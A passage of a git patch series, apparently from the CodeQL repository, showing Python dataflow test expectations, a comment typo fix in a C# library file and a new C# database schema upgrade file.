[Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:614:6:614:14 | IterableElement | semmle.label | IterableElement | @@ -859,8 +911,20 @@ nodes | test.py:591:10:591:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:591:10:591:14 | ControlFlowNode for Subscript | Flow found | | test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | | test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | +| test.py:599:12:599:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:599:12:599:16 | ControlFlowNode for Subscript | Flow found | +| test.py:599:12:599:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:599:12:599:16 | ControlFlowNode for Subscript | Flow found | +| test.py:599:12:599:16 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:599:12:599:16 | ControlFlowNode for Subscript | Flow found | +| test.py:600:10:600:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:600:10:600:14 | ControlFlowNode for Subscript | Flow found | +| test.py:600:10:600:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:600:10:600:14 | ControlFlowNode for Subscript | Flow found | +| test.py:600:10:600:14 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:600:10:600:14 | ControlFlowNode for Subscript | Flow found | | test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | | test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | +| test.py:608:12:608:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:608:12:608:16 | ControlFlowNode for Subscript | Flow found | +| test.py:608:12:608:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:608:12:608:16 | ControlFlowNode for Subscript | Flow found | +| test.py:608:12:608:16 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:608:12:608:16 | ControlFlowNode for Subscript | Flow found | +| test.py:609:10:609:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:609:10:609:14 | ControlFlowNode for Subscript | Flow found | +| test.py:609:10:609:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:609:10:609:14 | ControlFlowNode for Subscript | Flow found | +| test.py:609:10:609:14 | ControlFlowNode for Subscript | test.py:584:31:584:36 | ControlFlowNode for SOURCE | test.py:609:10:609:14 | ControlFlowNode for Subscript | Flow found | | test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | | test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | | test.py:617:12:617:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:617:12:617:16 | ControlFlowNode for Subscript | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 3b1a0205bc7..98599f6bbee 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -596,8 +596,8 @@ def test_iterated_unpacking_assignment_conversion(): ((a1, *a2), *b) = tt SINK(a1) SINK_F(a2) # The list itself is not tainted - SINK_F(a2[0]) - SINK(a2[1]) # Flow not found since `*a2` does not know to read from index 2 + SINK_F(a2[0]) # FP here due to list abstraction + SINK(a2[1]) SINK_F(b) # The list itself is not tainted SINK_F(b[0]) @@ -605,8 +605,8 @@ def test_iterated_unpacking_assignment_conversion(): [(a1, *a2), *b] = tt SINK(a1) SINK_F(a2) # The list itself is not tainted - SINK_F(a2[0]) - SINK(a2[1]) # Flow not found since `*a2` does not know to read from index 2 + SINK_F(a2[0]) # FP here due to list abstraction + SINK(a2[1]) SINK_F(b) # The list itself is not tainted SINK_F(b[0]) # Expected FP here due to list abstraction From 5060756a0bf621b67895eedb9af54934d5fae689 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 08:20:45 +0100 Subject: [PATCH 0563/1241] Fix typo in comment --- csharp/ql/src/semmle/code/csharp/Location.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/src/semmle/code/csharp/Location.qll b/csharp/ql/src/semmle/code/csharp/Location.qll index 77a4dc4fe4c..ac9a120849c 100644 --- a/csharp/ql/src/semmle/code/csharp/Location.qll +++ b/csharp/ql/src/semmle/code/csharp/Location.qll @@ -172,7 +172,7 @@ class Assembly extends Location, Attributable, @assembly { /** Gets the version of this assembly. */ Version getVersion() { assemblies(this, _, _, _, result) } - /** Gets the compilation producing this assembly if any. */ + /** Gets the compilation producing this assembly, if any. */ Compilation getCompilation() { compilation_assembly(result, this) } override File getFile() { assemblies(this, result, _, _, _) } From ec669c883a4f936635a95dfd1aed594806d872d2 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 08:25:35 +0100 Subject: [PATCH 0564/1241] Add DB upgrade folder --- .../old.dbscheme | 1909 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1914 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 3825 insertions(+) create mode 100644 csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/old.dbscheme create mode 100644 csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/upgrade.properties diff --git a/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/old.dbscheme b/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/old.dbscheme new file mode 100644 index 00000000000..26249c105a8 --- /dev/null +++ b/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/old.dbscheme @@ -0,0 +1,1909 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; 